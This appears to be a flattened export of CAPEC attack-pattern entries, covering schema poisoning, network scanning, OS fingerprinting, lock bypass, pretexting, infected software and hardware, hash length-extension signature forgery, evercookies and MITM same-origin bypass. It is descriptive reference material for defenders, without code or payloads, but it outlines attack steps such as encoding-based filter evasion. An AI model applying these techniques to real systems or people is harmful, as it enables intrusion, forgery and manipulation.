    For a remote scenario, the adversary needs to be able to perform an adversary in the middle attack on the HTTP traffic that contains a schema.

Exploit

  1. Poison schema: Once the adversary gains access to the schema, they will alter it to achieve a desired effect. Locally, they can just modify the file. For remote schemas, the adversary will alter the schema in transit by performing an adversary in the middle attack.
  2. Techniques
    Cause a denial of service by modifying the schema so that it does not contain required information for subsequent processing.
    Manipulation of the data types described in the schema may affect the results of calculations. For example, a float field could be changed to an int field.
    Change the encoding defined in the schema for certain fields allowing the contents to bypass filters that scan for dangerous strings. For example, the modified schema might use a URL encoding instead of ASCII, and a filter that catches a semicolon (;) might fail to detect its URL encoding (%3B).
Low
  • Some level of access to modify the target schema.
  • The schema used by the target application must be improperly secured against unauthorized modification and manipulation.
  • Access to the schema and the knowledge and ability modify it. Ability to replace or redirect access to the modified schema.
Draft High 3.9
146
176
Inter-component Protocol Manipulation Standard Inter-component protocols are used to communicate between different software and hardware modules within a single computer. Common examples are: interrupt signals and data pipes. Subverting the protocol can allow an adversary to impersonate others, discover sensitive information, control the outcome of a session, or perform other attacks. This type of attack targets invalid assumptions that may be inherent in implementers of the protocol, incorrect implementations of the protocol, or vulnerabilities in the protocol itself. 2014-06-23 02:00:00 Capec: CAPEC-276
Cwe: CWE-707
2018-07-31 02:00:00 2.1 Communications
Software
None None Draft None 3.9
665
272
Data Interchange Protocol Manipulation Standard Data Interchange Protocols are used to transmit structured data between entities. These protocols are often specific to a particular domain (B2B: purchase orders, invoices, transport logistics and waybills, medical records). They are often, but not always, XML-based. Subverting the protocol can allow an adversary to impersonate others, discover sensitive information, control the outcome of a session, or perform other attacks. This type of attack targets invalid assumptions that may be inherent in implementers of the protocol, incorrect implementations of the protocol, or vulnerabilities in the protocol itself. 2014-06-23 02:00:00 Capec: CAPEC-277
Cwe: CWE-707
2019-04-04 02:00:00 2.1 Communications
Software
None None Draft None 3.9
272
Web Services Protocol Manipulation Standard An adversary manipulates a web service related protocol to cause a web application or service to react differently than intended. This can either be performed through the manipulation of call parameters to include unexpected values, or by changing the called function to one that should normally be restricted or limited. By leveraging this pattern of attack, the adversary is able to gain access to data or resources normally restricted, or to cause the application or service to crash. 2014-06-23 02:00:00 Capec: CAPEC-278
Cwe: CWE-707
2019-04-04 02:00:00 2.1 Communications
Software
None None
  • The targeted application or service must rely on web service protocols in such a way that malicious manipulation of them can alter functionality.
  • The attacker must be able to manipulate the communications to the targeted application or service.
Draft None 3.9
272
Host Discovery Standard An adversary sends a probe to an IP address to determine if the host is alive. Host discovery is one of the earliest phases of network reconnaissance. The adversary usually starts with a range of IP addresses belonging to a target network and uses various methods to determine if a host is present at that IP address. Host discovery is usually referred to as 'Ping' scanning using a sonar analogy. The goal is to send a packet through to the IP address and solicit a response from the host. As such, a 'ping' can be virtually any crafted packet whatsoever, provided the adversary can identify a functional host based on its response. An attack of this nature is usually carried out with a 'ping sweep,' where a particular kind of ping is sent to a range of IP addresses. 2014-06-23 02:00:00 Capec: CAPEC-292
Cwe: CWE-200
Attack: T1018
Reference_from_capec: REF-33
Reference_from_capec: REF-34
2020-12-17 01:00:00 2.1 Authorization:
  • Bypass Protection Mechanism
  • Hide Activities
Access Control:
  • Bypass Protection Mechanism
  • Hide Activities
Confidentiality:
  • Other
  • Bypass Protection Mechanism
  • Hide Activities
Communications
Software
None None
  • The adversary requires logical access to the target network in order to carry out host discovery.
  • The resources required will differ based upon the type of host discovery being performed. Usually a network scanning tool or scanning script is required due to the volume of requests that must be generated.
Stable Low 3.9
169
Port Scanning Standard An adversary uses a combination of techniques to determine the state of the ports on a remote target. Any service or application available for TCP or UDP networking will have a port open for communications over the network. Although common services have assigned port numbers, services and applications can run on arbitrary ports. Additionally, port scanning is complicated by the potential for any machine to have up to 65535 possible UDP or TCP services. The goal of port scanning is often broader than identifying open ports, but also give the adversary information concerning the firewall configuration. Depending upon the method of scanning that is used, the process can be stealthy or more obtrusive, the latter being more easily detectable due to the volume of packets involved, anomalous packet traits, or system logging. Typical port scanning activity involves sending probes to a range of ports and observing the responses. There are four port statuses that this type of attack aims to identify: open, closed, filtered, and unfiltered. For strategic purposes it is useful for an adversary to distinguish between an open port that is protected by a filter vs. a closed port that is not protected by a filter. Making these fine grained distinctions is requires certain scan types. Collecting this type of information tells the adversary which ports can be attacked directly, which must be attacked with filter evasion techniques like fragmentation, source port scans, and which ports are unprotected (i.e. not firewalled) but aren't hosting a network service. An adversary often combines various techniques in order to gain a more complete picture of the firewall filtering mechanisms in place for a host. 2014-06-23 02:00:00 Capec: CAPEC-300
Cwe: CWE-200
Attack: T1046
Reference_from_capec: REF-33
Reference_from_capec: REF-128
Reference_from_capec: REF-158
Reference_from_capec: REF-34
Reference_from_capec: REF-130
2022-02-22 01:00:00 2.1 Authorization:
  • Bypass Protection Mechanism
  • Hide Activities
Access Control:
  • Bypass Protection Mechanism
  • Hide Activities
Confidentiality:
  • Other
  • Bypass Protection Mechanism
  • Hide Activities
Communications
Software
None None
  • The adversary requires logical access to the target's network in order to carry out this type of attack.
  • The adversary requires a network mapping/scanning tool, or must conduct socket programming on the command line. Packet injection tools are also useful for this purpose. Depending upon the method used it may be necessary to sniff the network in order to see the response.
Stable Low 3.9
169
Network Topology Mapping Standard An adversary engages in scanning activities to map network nodes, hosts, devices, and routes. Adversaries usually perform this type of network reconnaissance during the early stages of attack against an external network. Many types of scanning utilities are typically employed, including ICMP tools, network mappers, port scanners, and route testing utilities such as traceroute. 2014-06-23 02:00:00 Capec: CAPEC-309
Cwe: CWE-200
Attack: T1016
Attack: T1049
Attack: T1590
Reference_from_capec: REF-33
Reference_from_capec: REF-128
Reference_from_capec: REF-130
2022-09-29 02:00:00 2.1 Confidentiality:
  • Other
Software
None None
  • None
  • Probing requires the ability to interactively send and receive data from a target, whereas passive listening requires a sufficient understanding of the protocol to analyze a preexisting channel of communication.
Draft Low 3.9
169
DEPRECATED: OS Fingerprinting Standard This pattern has been deprecated as it was determined to be an unnecessary layer of abstraction. Please refer to the standard level patterns CAPEC-312 : Active OS Fingerprinting or CAPEC-313 : Passive OS Fingerprinting going forward, or to any of the detailed patterns that are children of them. 2014-06-23 02:00:00 Capec: CAPEC-311
2018-07-31 02:00:00 2.1 None None Deprecated None 3.9
Active OS Fingerprinting Standard An adversary engages in activity to detect the operating system or firmware version of a remote target by interrogating a device, server, or platform with a probe designed to solicit behavior that will reveal information about the operating systems or firmware in the environment. Operating System detection is possible because implementations of common protocols (Such as IP or TCP) differ in distinct ways. While the implementation differences are not sufficient to 'break' compatibility with the protocol the differences are detectable because the target will respond in unique ways to specific probing activity that breaks the semantic or logical rules of packet construction for a protocol. Different operating systems will have a unique response to the anomalous input, providing the basis to fingerprint the OS behavior. This type of OS fingerprinting can distinguish between operating system types and versions. 2014-06-23 02:00:00 Capec: CAPEC-312
Cwe: CWE-200
Attack: T1082
Reference_from_capec: REF-33
Reference_from_capec: REF-128
Reference_from_capec: REF-212
Reference_from_capec: REF-130
2018-07-31 02:00:00 2.1 Authorization:
  • Hide Activities
Access Control:
  • Hide Activities
Confidentiality:
  • Read Data
  • Hide Activities
Software
None Medium
  • The ability to monitor and interact with network communications.Access to at least one host, and the privileges to interface with the network interface card.
  • Any type of active probing that involves non-standard packet headers requires the use of raw sockets, which is not available on particular operating systems (Microsoft Windows XP SP 2, for example). Raw socket manipulation on Unix/Linux requires root privileges. A tool capable of sending and receiving packets from a remote system.
Stable Low 3.9
224
Passive OS Fingerprinting Standard An adversary engages in activity to detect the version or type of OS software in a an environment by passively monitoring communication between devices, nodes, or applications. Passive techniques for operating system detection send no actual probes to a target, but monitor network or client-server communication between nodes in order to identify operating systems based on observed behavior as compared to a database of known signatures or values. While passive OS fingerprinting is not usually as reliable as active methods, it is generally better able to evade detection. 2014-06-23 02:00:00 Capec: CAPEC-313
Cwe: CWE-200
Attack: T1082
Reference_from_capec: REF-33
Reference_from_capec: REF-128
Reference_from_capec: REF-212
Reference_from_capec: REF-130
2022-09-29 02:00:00 2.1 Authorization:
  • Hide Activities
Access Control:
  • Hide Activities
Confidentiality:
  • Read Data
  • Hide Activities
Software
None High
  • The ability to monitor network communications.Access to at least one host, and the privileges to interface with the network interface card.
  • Any tool capable of monitoring network communications, like a packet sniffer (e.g., Wireshark)
Stable Low 3.9
224
DEPRECATED: IP Fingerprinting Probes Standard This pattern has been deprecated as it was determined to be an unnecessary layer of abstraction. Please refer to the standard level pattern CAPEC-312 : Active OS Fingerprinting going forward, or to any of the detailed patterns that children of CAPEC-312. 2014-06-23 02:00:00 Capec: CAPEC-314
2017-05-01 02:00:00 2.1 None None Deprecated None 3.9
DEPRECATED: TCP/IP Fingerprinting Probes Standard This pattern has been deprecated as it was determined to be an unnecessary layer of abstraction. Please refer to the standard level pattern CAPEC-312 : Active OS Fingerprinting going forward, or to any of the detailed patterns that are children of CAPEC-312. 2014-06-23 02:00:00 Capec: CAPEC-315
2018-07-31 02:00:00 2.1 None None Deprecated None 3.9
DEPRECATED: ICMP Fingerprinting Probes Standard This pattern has been deprecated as it was determined to be an unnecessary layer of abstraction. Please refer to the standard level pattern CAPEC-312 : Active OS Fingerprinting going forward, or to any of the detailed patterns that are children of CAPEC-312. 2014-06-23 02:00:00 Capec: CAPEC-316
2018-07-31 02:00:00 2.1 None None Deprecated None 3.9
Application API Message Manipulation via Man-in-the-Middle Standard An attacker manipulates either egress or ingress data from a client within an application framework in order to change the content of messages. Performing this attack can allow the attacker to gain unauthorized privileges within the application, or conduct attacks such as phishing, deceptive strategies to spread malware, or traditional web-application attacks. The techniques require use of specialized software that allow the attacker to perform adversary-in- the-middle (CAPEC-94) communications between the web browser and the remote system. Despite the use of AiTH software, the attack is actually directed at the server, as the client is one node in a series of content brokers that pass information along to the application framework. Additionally, it is not true "Adversary-in-the-Middle" attack at the network layer, but an application- layer attack the root cause of which is the master applications trust in the integrity of code supplied by the client. 2014-06-23 02:00:00 Capec: CAPEC-384
Cwe: CWE-471
Cwe: CWE-345
Cwe: CWE-346
Cwe: CWE-602
Cwe: CWE-311
Reference_from_capec: REF-327
2021-06-24 02:00:00 2.1 Communications
Software
None None
  • Targeted software is utilizing application framework APIs
  • A software program that allows a user to man-in-the-middle communications between the client and server, such as a man-in-the-middle proxy.
Draft Low 3.9
94
Application API Navigation Remapping Standard An attacker manipulates either egress or ingress data from a client within an application framework in order to change the destination and/or content of links/buttons displayed to a user within API messages. Performing this attack allows the attacker to manipulate content in such a way as to produce messages or content that looks authentic but contains links/buttons that point to an attacker controlled destination. Some applications make navigation remapping more difficult to detect because the actual HREF values of images, profile elements, and links/buttons are masked. One example would be to place an image in a user's photo gallery that when clicked upon redirected the user to an off-site location. Also, traditional web vulnerabilities (such as CSRF) can be constructed with remapped buttons or links. In some cases navigation remapping can be used for Phishing attacks or even means to artificially boost the page view, user site reputation, or click-fraud. 2014-06-23 02:00:00 Capec: CAPEC-386
Cwe: CWE-471
Cwe: CWE-345
Cwe: CWE-346
Cwe: CWE-602
Cwe: CWE-311
Reference_from_capec: REF-327
2021-06-24 02:00:00 2.1 Communications
Software
None None
  • Targeted software is utilizing application framework APIs
  • A software program that allows the use of adversary-in-the-middle (CAPEC-94) communications between the client and server, such as a man-in-the-middle proxy.
Draft Medium 3.9
94
Bypassing Physical Locks Standard An attacker uses techniques and methods to bypass physical security measures of a building or facility. Physical locks may range from traditional lock and key mechanisms, cable locks used to secure laptops or servers, locks on server cases, or other such devices. Techniques such as lock bumping, lock forcing via snap guns, or lock picking can be employed to bypass those locks and gain access to the facilities or devices they protect, although stealth, evidence of tampering, and the integrity of the lock following an attack, are considerations that may determine the method employed. Physical locks are limited by the complexity of the locking mechanism. While some locks may offer protections such as shock resistant foam to prevent bumping or lock forcing methods, many commonly employed locks offer no such countermeasures. 2014-06-23 02:00:00 Capec: CAPEC-391
Reference_from_capec: REF-33
2019-09-30 02:00:00 2.1 Physical Security
None None Draft None 3.9
390
Bypassing Electronic Locks and Access Controls Standard An attacker exploits security assumptions to bypass electronic locks or other forms of access controls. Most attacks against electronic access controls follow similar methods but utilize different tools. Some electronic locks utilize magnetic strip cards, others employ RFID tags embedded within a card or badge, or may involve more sophisticated protections such as voice-print, thumb-print, or retinal biometrics. Magnetic Strip and RFID technologies are the most widespread because they are cost effective to deploy and more easily integrated with other electronic security measures. These technologies share common weaknesses that an attacker can exploit to gain access to a facility protected by the mechanisms via copying legitimate cards or badges, or generating new cards using reverse-engineered algorithms. 2014-06-23 02:00:00 Capec: CAPEC-395
Reference_from_capec: REF-33
2014-06-23 02:00:00 2.1 Physical Security
None None Draft None 3.9
390
DEPRECATED: Bypassing Card or Badge-Based Systems Standard This attack pattern has been deprecated as it a generalization of CAPEC-397: Cloning Magnetic Strip Cards, CAPEC-398: Magnetic Strip Card Brute Force Attacks, CAPEC-399: Cloning RFID Cards or Chips and CAPEC-400: RFID Chip Deactivation or Destruction. Please refer to these CAPECs going forward. 2014-06-23 02:00:00 Capec: CAPEC-396
2019-09-30 02:00:00 2.1 None None Deprecated None 3.9
Physically Hacking Hardware Standard An adversary exploits a weakness in access control to gain access to currently installed hardware and precedes to implement changes or secretly replace a hardware component which undermines the system's integrity for the purpose of carrying out an attack. 2014-06-23 02:00:00 Capec: CAPEC-401
Cwe: CWE-1263
2020-07-30 02:00:00 2.1 Supply Chain
Physical Security
Hardware
  1. A malicious subcontractor or subcontractor's employee that is responsible for system maintenance secretly replaces a hard drive with one containing malicious code that will allow for backdoor access once deployed.
None Low Stable High 3.9
402
440
Pretexting Standard An adversary engages in pretexting behavior to solicit information from target persons, or manipulate the target into performing some action that serves the adversary's interests. During a pretexting attack, the adversary creates an invented scenario, assuming an identity or role to persuade a targeted victim to release information or perform some action. It is more than just creating a lie; in some cases it can be creating a whole new identity and then using that identity to manipulate the receipt of information. Pretexting can also be used to impersonate people in certain jobs and roles that they never themselves have done. In simple form, these attacks can be leveraged to learn information about a target. More complicated iterations may seek to solicit a target to perform some action that assists the adversary in exploiting organizational weaknesses or obtaining access to secure facilities or systems. Pretexting is not a one-size fits all solution. Good information gathering techniques can make or break a good pretext. A solid pretext is an essential part of building trust. If an adversary’s alias, story, or identity has holes or lacks credibility or even the perception of credibility the target will most likely catch on. 2014-06-23 02:00:00 Capec: CAPEC-407
Attack: T1589
Reference_from_capec: REF-348
2022-09-29 02:00:00 2.1 Confidentiality:
  • Other (Depending on the adversary's intentions and the specific nature their actions/requests, a successful pretexting attack can result in the compromise to the confidentiality of sensitive information in a variety of contexts.)
Social Engineering
Social Engineering
Software
  1. The adversary dresses up like a jogger and runs in place by the entrance of a building, pretending to look for their access card. Because the hood obscures their face, it may be possible to solicit someone inside the building to let them inside.
None Medium
  • The adversary must have the means and knowledge of how to communicate with the target in some manner.The adversary must have knowledge of the pretext that would influence the actions of the specific target.
Low: The adversary requires strong inter-personal and communication skills. Draft Low 3.9
Influence Perception Standard The adversary uses social engineering to exploit the target's perception of the relationship between the adversary and themselves. This goal is to persuade the target to unknowingly perform an action or divulge information that is advantageous to the adversary. 2014-06-23 02:00:00 Capec: CAPEC-417
Reference_from_capec: REF-348
Reference_from_capec: REF-360
2017-08-04 02:00:00 2.1 Integrity:
  • Other (Attacks that influence the perception of the target can result in a wide variety of consequences and negatively affect potentially the confidentiality, availability, and/or integrity of an application or system.)
Availability:
  • Other (Attacks that influence the perception of the target can result in a wide variety of consequences and negatively affect potentially the confidentiality, availability, and/or integrity of an application or system.)
Confidentiality:
  • Other (Attacks that influence the perception of the target can result in a wide variety of consequences and negatively affect potentially the confidentiality, availability, and/or integrity of an application or system.)
Social Engineering
None High
  • The adversary must have the means and knowledge of how to communicate with the target in some manner.
  • There are no necessary resources required for this attack.
Low: The adversary requires strong inter-personal and communication skills. Stable Low 3.9
416
Target Influence via Framing Standard An adversary uses framing techniques to contextualize a conversation so that the target is more likely to be influenced by the adversary's point of view. Framing is information and experiences in life that alter the way we react to decisions we must make. This type of persuasive technique exploits the way people are conditioned to perceive data and its significance, while avoiding negative or avoidance responses from the target. Rather than a specific technique framing is a methodology of conversation that slowly encourages the target to adopt to the adversary's perspective. One technique of framing is to avoid the use of the word "No" and to contextualize responses in a manner that is positive. When performed skillfully the target is much more likely to volunteer information or perform actions favorable to the adversary. 2014-06-23 02:00:00 Capec: CAPEC-425
Reference_from_capec: REF-348
2020-12-17 01:00:00 2.1 Confidentiality:
  • Other (Successful attacks that influence the target via framing into performing an action or sharing sensitive information can result in a variety of consequences that negatively affect the confidentiality of an application or system.)
Social Engineering
None Low
  • The adversary must have the means and knowledge of how to communicate with the target in some manner.
Low: The adversary requires strong inter-personal and communication skills. Draft Low 3.9
416
Influence via Incentives Standard The adversary incites a behavior from the target by manipulating something of influence. This is commonly associated with financial, social, or ideological incentivization. Examples include monetary fraud, peer pressure, and preying on the target's morals or ethics. The most effective incentive against one target might not be as effective against another, therefore the adversary must gather information about the target's vulnerability to particular incentives. 2014-06-23 02:00:00 Capec: CAPEC-426
Reference_from_capec: REF-348
2017-08-04 02:00:00 2.1 Integrity:
  • Other (Attacks that successfully incentivize the target into performing an action beneficial to the adversary can result in a variety of consequences that negatively affect the confidentiality, availability, and/or integrity of an application or system.)
Availability:
  • Other (Attacks that successfully incentivize the target into performing an action beneficial to the adversary can result in a variety of consequences that negatively affect the confidentiality, availability, and/or integrity of an application or system.)
Confidentiality:
  • Other (Attacks that successfully incentivize the target into performing an action beneficial to the adversary can result in a variety of consequences that negatively affect the confidentiality, availability, and/or integrity of an application or system.)
Social Engineering
None Low
  • The adversary must have the means and knowledge of how to communicate with the target in some manner.The adversary must have knowledge of the incentives that would influence the actions of the specific target.
Low: The adversary requires strong inter-personal and communication skills. Stable Low 3.9
416
Influence via Psychological Principles Standard The adversary shapes the target's actions or behavior by focusing on the ways human interact and learn, leveraging such elements as cognitive and social psychology. In a variety of ways, a target can be influenced to behave or perform an action through capitalizing on what scholarship and research has learned about how and why humans react to specific scenarios and cues. 2014-06-23 02:00:00 Capec: CAPEC-427
Reference_from_capec: REF-348
2017-08-04 02:00:00 2.1 Integrity:
  • Other (Attacks that successfully influence the target into performing an action via psychological principles can result in a variety of consequences that negatively affect the confidentiality, availability, and/or integrity of an application or system.)
Availability:
  • Other (Attacks that successfully influence the target into performing an action via psychological principles can result in a variety of consequences that negatively affect the confidentiality, availability, and/or integrity of an application or system.)
Confidentiality:
  • Other (Attacks that successfully influence the target into performing an action via psychological principles can result in a variety of consequences that negatively affect the confidentiality, availability, and/or integrity of an application or system.)
Social Engineering
None Low
  • The adversary must have the means and knowledge of how to communicate with the target in some manner.
Low: The adversary requires strong inter-personal and communication skills. Draft Low 3.9
416
Infected Software Standard An adversary adds malicious logic, often in the form of a computer virus, to otherwise benign software. This logic is often hidden from the user of the software and works behind the scenes to achieve negative impacts. Many times, the malicious logic is inserted into empty space between legitimate code, and is then called when the software is executed. This pattern of attack focuses on software already fielded and used in operation as opposed to software that is still under development and part of the supply chain. 2014-06-23 02:00:00 Capec: CAPEC-442
Cwe: CWE-506
Attack: T1195.001
Attack: T1195.002
Reference_from_capec: REF-387
2023-01-24 01:00:00 2.1 Authorization:
  • Execute Unauthorized Commands
Software
None Medium
  • Access to the software currently deployed at a victim location. This access is often obtained by leveraging another attack pattern to gain permissions that the adversary wouldn't normally have.
Stable High 3.9
448
441
Development Alteration Standard An adversary modifies a technology, product, or component during its development to acheive a negative impact once the system is deployed. The goal of the adversary is to modify the system in such a way that the negative impact can be leveraged when the system is later deployed. Development alteration attacks may include attacks that insert malicious logic into the system's software, modify or replace hardware components, and other attacks which negatively impact the system during development. These attacks generally require insider access to modify source code or to tamper with hardware components. The product is then delivered to the user where the negative impact can be leveraged at a later time. 2014-06-23 02:00:00 Capec: CAPEC-444
2018-07-31 02:00:00 2.1 Integrity:
  • Alter Execution Logic
Availability:
  • Unreliable Execution
Authorization:
  • Execute Unauthorized Commands
Supply Chain
Software
Hardware
None Medium
  • Access to the system during the development phase to alter and/or modify software and hardware components. This access is often obtained via insider access or by leveraging another attack pattern to gain permissions that the adversary wouldn't normally have.
Stable High 3.9
438
Design Alteration Standard An adversary modifies the design of a technology, product, or component to acheive a negative impact once the system is deployed. In this type of attack, the goal of the adversary is to modify the design of the system, prior to development starting, in such a way that the negative impact can be leveraged when the system is later deployed. Design alteration attacks differ from development alteration attacks in that design alteration attacks take place prior to development and which then may or may not be developed by the adverary. Design alteration attacks include modifying system designs to degrade system performance, cause unexpected states or errors, and general design changes that may lead to additional vulnerabilities. These attacks generally require insider access to modify design documents, but they may also be spoofed via web communications. The product is then developed and delivered to the user where the negative impact can be leveraged at a later time. 2014-06-23 02:00:00 Capec: CAPEC-447
2021-06-24 02:00:00 2.1 Integrity:
  • Alter Execution Logic
Availability:
  • Unreliable Execution
Authorization:
  • Execute Unauthorized Commands
Supply Chain
Hardware
None Medium
  • Access to system design documentation prior to the development phase. This access is often obtained via insider access or by leveraging another attack pattern to gain permissions that the adversary wouldn't normally have.
  • Ability to forge web communications to deliver modified design documentation.
Stable High 3.9
438
DEPRECATED: Malware Propagation via USB U3 Autorun Standard This attack pattern has been deprecated as it is a duplicate of CAPEC-448 : Embed Virus into DLL. Please refer to this other pattern going forward. 2014-06-23 02:00:00 Capec: CAPEC-450
2022-09-29 02:00:00 2.1 None None Deprecated None 3.9
Infected Hardware Standard An adversary inserts malicious logic into hardware, typically in the form of a computer virus or rootkit. This logic is often hidden from the user of the hardware and works behind the scenes to achieve negative impacts. This pattern of attack focuses on hardware already fielded and used in operation as opposed to hardware that is still under development and part of the supply chain. 2014-06-23 02:00:00 Capec: CAPEC-452
2023-01-24 01:00:00 2.1 Authorization:
  • Execute Unauthorized Commands
Software
Hardware
None Medium
  • Access to the hardware currently deployed at a victim location.
Stable High 3.9
638
441
DEPRECATED: Malicious Logic Insertion via Counterfeit Hardware Standard This attack pattern has been deprecated as it is a duplicate of CAPEC-452 : Malicious Logic Insertion into Product Hardware. Please refer to this other pattern going forward. 2014-06-23 02:00:00 Capec: CAPEC-453
2017-05-01 02:00:00 2.1 None None Deprecated None 3.9
Infected Memory Standard An adversary inserts malicious logic into memory enabling them to achieve a negative impact. This logic is often hidden from the user of the system and works behind the scenes to achieve negative impacts. This pattern of attack focuses on systems already fielded and used in operation as opposed to systems that are still under development and part of the supply chain. 2014-06-23 02:00:00 Capec: CAPEC-456
Cwe: CWE-1257
Cwe: CWE-1260
Cwe: CWE-1274
Cwe: CWE-1312
Cwe: CWE-1316
2023-01-24 01:00:00 2.1 Authorization:
  • Execute Unauthorized Commands
Software
Hardware
  1. A USB Memory stick has malicious logic inserted before shipping of the product allowing for infection of the host machine once inserted into the USB port.
  2. In 2007, approximately 1800 of Seagate's Maxtor Personal Storage 3200 drives were built under contract with an outside manufacturer and contained a virus that stole user passwords.
None Medium Stable High 3.9
441
Web Services API Signature Forgery Leveraging Hash Function Extension Weakness Standard An adversary utilizes a hash function extension/padding weakness, to modify the parameters passed to the web service requesting authentication by generating their own call in order to generate a legitimate signature hash (as described in the notes), without knowledge of the secret token sometimes provided by the web service. When web services require callees to authenticate, they sometimes issue a token / secret to the caller that the caller is to use to sign their web service calls. In one such scheme the caller, when constructing a request, would concatenate all of the parameters passed to the web service with the provided authentication token and then generate a hash of the concatenated string (e.g., MD5, SHA1, etc.). That hash then forms the signature that is passed to the web service which is used on the server side to verify the origin authenticity and integrity of the message. Because of the iterative design of the hash function, it is possible, from only the hash of a message and its length, for an adversary to conduct signature forgery by computing the hash of longer messages that start with the initial message and include the padding required for the initial message to reach a multiple of 512 bits. It is important to note that the attack not limited to MD5 and will work on other hash functions such as SHA1. 2014-06-23 02:00:00 Capec: CAPEC-461
Cwe: CWE-328
Cwe: CWE-290
Reference_from_capec: REF-398
2022-09-29 02:00:00 2.1 Software
  1. To leverage an attack against the has function extension / padding weakness, consider the message to be passed to the web service is M (this message includes the parameters passed to the web service concatenated with the secret token / key bytes). The message M is hashed and that hash is passed to the web service and is used for authentication. The attacker does not know M, but can see Hash (M) and Length (M). The attacker can then compute Hash (M || Padding (M) || M') for any M'. The attacker does not know the entire message M, specifically the attacker does not know the secret bytes, but that does not matter. The attacker is still able to sign their own message M' and make the called web service verify the integrity of the message without an error.

Explore

  1. Find a vulnerable web service: The adversary finds a web service that uses a vulnerable authentication scheme, where an authentication token is concatenated with the parameters of a request and then hashed
  2. Techniques
    Read application documentation to learn about authentication schemes being used
    Observe web service traffic to look for vulnerable authentication schemes

Experiment

  1. Attempt adding padding to parameters: An adversary tests if they can simply add padding to the parameters of a request such that the request is technically changed, with the hash remaining the same
  2. Techniques
    Exploit the hash function extension / padding weakness with only padding to test the weakness

Exploit

  1. Add malicious parameters to request: Add malicious parameters to a captured request in addition to what is already present. Do this by exploiting the padding weakness of the hash function and send the request to the web service so that it believes it is authenticated and acts on the extra parameters.
  2. Techniques
    Exploit the hash function extension / padding weakness by adding malicious parameters to a web service request such that it is still deemed authentic
None
  • Web services check the signature of the API calls
  • Authentication tokens / secrets are shared between the server and the legitimate client
  • The API call signature is generated by concatenating the parameter list with the shared secret and hashing the result.
  • An iterative hash function like MD5 and SHA1 is used.
  • An attacker is able to intercept or in some other way gain access to the information passed between the legitimate client and the server in order to retrieve the hash value and length of the original message.
  • The communication channel between the client and the server is not secured via channel security such as TLS
  • Access to a function to produce a hash (e.g., MD5, SHA1) Tools that allow the attacker to intercept a message between the client and the server, specifically the hash that is the signature and the length of the original message concatenated with the secret bytes
Medium: Medium level of cryptography knowledge, specifically how iterative hash functions work. This is needed to select proper padding. Draft High 3.9
115
Evercookie Standard An attacker creates a very persistent cookie that stays present even after the user thinks it has been removed. The cookie is stored on the victim's machine in over ten places. When the victim clears the cookie cache via traditional means inside the browser, that operation removes the cookie from certain places but not others. The malicious code then replicates the cookie from all of the places where it was not deleted to all of the possible storage locations once again. So the victim again has the cookie in all of the original storage locations. In other words, failure to delete the cookie in even one location will result in the cookie's resurrection everywhere. The evercookie will also persist across different browsers because certain stores (e.g., Local Shared Objects) are shared between different browsers. The places a persistent cookie is stored on a victim's machine include: Standard HTTP Cookies, Local Shared Objects (Flash Cookies), Silverlight Isolated Storage, Storing cookies in RGB values of auto-generated, force- cached, PNGs using HTML5 Canvas tag to read pixels (cookies) back out, Storing cookies in Web History, Storing cookies in HTTP ETags, Storing cookies in Web cache, window.name caching, Internet Explorer userData storage, HTML5 Session Storage, HTML5 Local Storage, HTML5 Global Storage, HTML5 Database Storage via SQLite, among others. 2014-06-23 02:00:00 Capec: CAPEC-464
Cwe: CWE-359
Attack: T1606.001
Reference_from_capec: REF-401
2022-09-29 02:00:00 2.1 Software
None None
  • The victim's browser is not configured to reject all cookiesThe victim visits a website that serves the attackers' evercookie
  • Evercookie source code
Draft Medium 3.9
554
Transparent Proxy Abuse Standard A transparent proxy serves as an intermediate between the client and the internet at large. It intercepts all requests originating from the client and forwards them to the correct location. The proxy also intercepts all responses to the client and forwards these to the client. All of this is done in a manner transparent to the client. Transparent proxies are often used by enterprises and ISPs. For requests originating at the client transparent proxies need to figure out the final destination of the client's data packet. Two ways are available to do that: either by looking at the layer three (network) IP address or by examining layer seven (application) HTTP header destination. A browser has same origin policy that typically prevents scripts coming from one domain initiating requests to other websites from which they did not come. To circumvent that, however, malicious Flash or an Applet that is executing in the user's browser can attempt to create a cross-domain socket connection from the client to the remote domain. The transparent proxy will examine the HTTP header of the request and direct it to the remote site thereby partially bypassing the browser's same origin policy. This can happen if the transparent proxy uses the HTTP host header information for addressing rather than the IP address information at the network layer. This attack allows malicious scripts inside the victim's browser to issue cross-domain requests to any hosts accessible to the transparent proxy. 2014-06-23 02:00:00 Capec: CAPEC-465
Cwe: CWE-441
Attack: T1090.001
Reference_from_capec: REF-402
2022-09-29 02:00:00 2.1 Software
None None
  • Transparent proxy is usedVulnerable configuration of network topology involving the transparent proxy (e.g., no NAT happening between the client and the proxy)Execution of malicious Flash or Applet in the victim's browser
Medium: Creating malicious Flash or Applet to open a cross-domain socket connection to a remote system Draft Medium 3.9
554
Leveraging Active Adversary in the Middle Attacks to Bypass Same Origin Policy Standard An attacker leverages an adversary in the middle attack (CAPEC-94) in order to bypass the same origin policy protection in the victim's browser. This active adversary in the middle attack could be launched, for instance, when the victim is connected to a public WIFI hot spot. An attacker is able to intercept requests and responses between the victim's browser and some non- sensitive website that does not use TLS. When an attacker intercepts a response bound to the victim, an attacker adds an iFrame (which is possibly invisible) to the response referencing some domain with sensitive functionality and forwards the response to the victim. The victim's browser than automatically initiates an unauthorized request to the site with sensitive functionality. The same origin policy would prevent making these requests to a site other than the one from which the Java Script came, but the attacker once again uses active adversary in the middle to intercept these automatic requests and redirect them to the domain / service with sensitive functionality. Any persistent cookies that the victim has in their browser would be used for these unauthorized requests. The attacker thus actively directs the victim to a site with sensitive functionality. When the site with sensitive functionality responds back to the victim's request, an active adversary in the middle attacker intercepts these responses, injects their own malicious Java Script into these responses, and forwards to the victim's browser. In the victim's browser, that Java Script executes under the restrictions of the site with sensitive functionality and can be used to continue to interact with the sensitive site. So an attacker can execute scripts within the victim's browser on any domains the attacker desires. The attacker is able to use this technique to steal cookies from the victim's browser for whatever site the attacker wants. This applies to both persistent cookies and HTTP only cookies (unlike traditional XSS attacks). An attacker is also able to use this technique to steal authentication credentials for sites that only encrypt the login form, but do not require a secure channel for the initial request to get to the page with the login form. Further the attacker is also able to steal any autocompletion information. This attack pattern can also be used to enable session fixation and cache poisoning attacks. Additional attacks can be enabled as well. 2014-06-23 02:00:00 Capec: CAPEC-466
Cwe: CWE-300
Reference_from_capec: REF-403
2022-02-22 01:00:00 2.1 Authorization:
  • Execute Unauthorized Commands
Confidentiality:
  • Read Data
Communications
Software
None None
